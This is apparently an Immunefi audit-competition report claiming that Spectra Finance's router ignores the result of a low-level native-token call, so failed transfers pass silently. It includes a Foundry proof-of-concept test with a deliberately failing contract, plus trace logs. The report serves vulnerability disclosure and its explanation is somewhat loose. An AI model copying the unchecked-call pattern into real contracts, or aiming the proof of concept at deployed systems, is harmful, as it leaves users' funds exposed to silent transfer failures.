#44101 [SC-Low] `_dispatch()` incorrectly assumes revert bubbling when transferring native tokens.

Submitted on Apr 16th 2025 at 22:02:25 UTC by @adrianx for Audit Comp | Spectra Finance

  • Report ID: #44101

  • Report Type: Smart Contract

  • Report severity: Low

  • Target: https://github.com/immunefi-team/Spectra-Audit-Competition/blob/main/src/router/Dispatcher.sol

  • Impacts:

    • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

_dispatch() incorrectly assumes revert bubbling when transferring native tokens.

Vulnerability Details

When a Native eth transfer is executed through Router:: _dispatch(command, input); the underlying function performing the call assumes that any exceptions will be bubbled up, but with call being a low level rather than a Solidity function, it is not the case.

As seen below, there is an Incorrect assumption that reverts would bubble: In the Dispatcher.

https://github.com/immunefi-team/Spectra-Audit-Competition/blob/1cebdc67a9276fd87105d13f302fd77d000d0c0b/src/router/Dispatcher.sol#L485

        else if (command == Commands.TRANSFER_NATIVE) {
            (address recipient, uint256 amount) = abi.decode(_inputs, (address, uint256));
            (bool success, ) = payable(recipient).call{value: amount}("");
        }

But as outlined in Solidity by Example - call https://solidity-by-example.org/call/.

call is a low level function to interact with other contracts.


This is the recommended method to use when you're just sending Ether via calling the fallback function.


However, it is not the recommended way to call existing functions.

Few reasons why low-level call is not recommended


    Reverts are not bubbled up

    Type checks are bypassed

    Function existence checks are omitted

Impact Details

Griefing attacks. The incorrect assumption allows attackers to perform griefing attacks. Attackers can execute Failed native token transfers as though it was successful.

References

https://github.com/immunefi-team/Spectra-Audit-Competition/blob/1cebdc67a9276fd87105d13f302fd77d000d0c0b/src/router/Dispatcher.sol#L485

Proof of Concept

Proof of Concept

Add the following code to RouterTest.T.sol and run with forge test --mt testTransFerNative -vvvv. check the logs to see the expected results.

contract FailingContract {
    // Fallback function that consumes all gas but does not revert
    fallback() external payable {
        assembly {
            invalid() // Consumes all gas without reverting
        }
    }
}

contract ContractRouterTest is RouterBaseTest {
    FailingContract public FaContract;

    function setUp() public override {
        super.setUp();
        FaContract = new FailingContract();

        underlying.mint(testUser, FAUCET_AMOUNT * 3);
        ibt.deposit(FAUCET_AMOUNT * 2, testUser);

        ibt.approve(address(spectra4626Wrapper), FAUCET_AMOUNT);
        spectra4626Wrapper.wrap(FAUCET_AMOUNT, testUser);

    }

    function testTransFerNative() public {
        address payable sender = payable(address(this));
        address payable recipient = payable(address(FaContract));

        // Get rid of residues
        uint256 senderBalance = IERC20(WETH_WRAPPER_ADDRESS).balanceOf(sender);
        if (senderBalance > 0) {
            IERC20(WETH_WRAPPER_ADDRESS).approve(address(0), senderBalance);
            IERC20(WETH_WRAPPER_ADDRESS).transferFrom(sender, address(0), senderBalance);
        }

        // Send native to router contract
        vm.deal(sender, 1 ether);
        uint256 amount = 1 ether;
        uint256 nativeBalanceBefore = sender.balance;
        vm.prank(sender);
        payable(address(router)).call{value: amount}("");

        // Build the router execution for deposit
        bytes memory commands = abi.encodePacked(
            bytes1(uint8(Commands.DEPOSIT_NATIVE_IN_WRAPPER)),
            bytes1(uint8(Commands.TRANSFER))
        );

        bytes[] memory inputs = new bytes[](2);
        inputs[0] = abi.encode(WETH_WRAPPER_ADDRESS, 1 ether);
        inputs[1] = abi.encode(WETH_WRAPPER_ADDRESS, sender, 1 ether);

        // execute the commands
        router.execute(commands, inputs);

        senderBalance = IERC20(WETH_WRAPPER_ADDRESS).balanceOf(sender);
        assertEq(senderBalance, 1 ether, "Wrapped native balance is wrong");

        // Build the router execution for withdraw
        commands = abi.encodePacked(
            bytes1(uint8(Commands.TRANSFER_FROM)),
            bytes1(uint8(Commands.WITHDRAW_NATIVE_FROM_WRAPPER)),
            bytes1(uint8(Commands.TRANSFER_NATIVE))
        );

        inputs = new bytes[](3);
        inputs[0] = abi.encode(WETH_WRAPPER_ADDRESS, senderBalance);
        inputs[1] = abi.encode(WETH_WRAPPER_ADDRESS, senderBalance);
        inputs[2] = abi.encode(recipient, senderBalance);

        // execute the withdrawal
        // This execution will pass as though the native transfer was successful.
        // Because the contract incorrectly assumes revert bubbling.
        vm.prank(sender);
        IERC20(WETH_WRAPPER_ADDRESS).approve(address(router), senderBalance);
        router.execute(commands, inputs);
    }
}

logs:

The contract will incorrectly assume revert bubbling and executes the transfer as though it was successful.

    │   │   │   │   ├─ [55] Router::receive{value: 1000000000000000000}() [delegatecall]
    │   │   │   │   │   └─ ← [Stop]
    │   │   │   │   └─ ← [Return]
    │   │   │   ├─ emit Withdrawal(src: AMTransparentUpgradeableProxy: [0x978e3286EB805934215a88694d80b09aDed68D90], wad: 1000000000000000000 [1e18])
    │   │   │   └─ ← [Stop]
    │   │   ├─ [18] FailingContract::fallback{value: 1000000000000000000}()
    │   │   │   └─ ← [InvalidFEOpcode] EvmError: InvalidFEOpcode
    │   │   └─ ← [Stop]
    │   └─ ← [Return]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 87.06s (29.10s CPU time)

Was this helpful?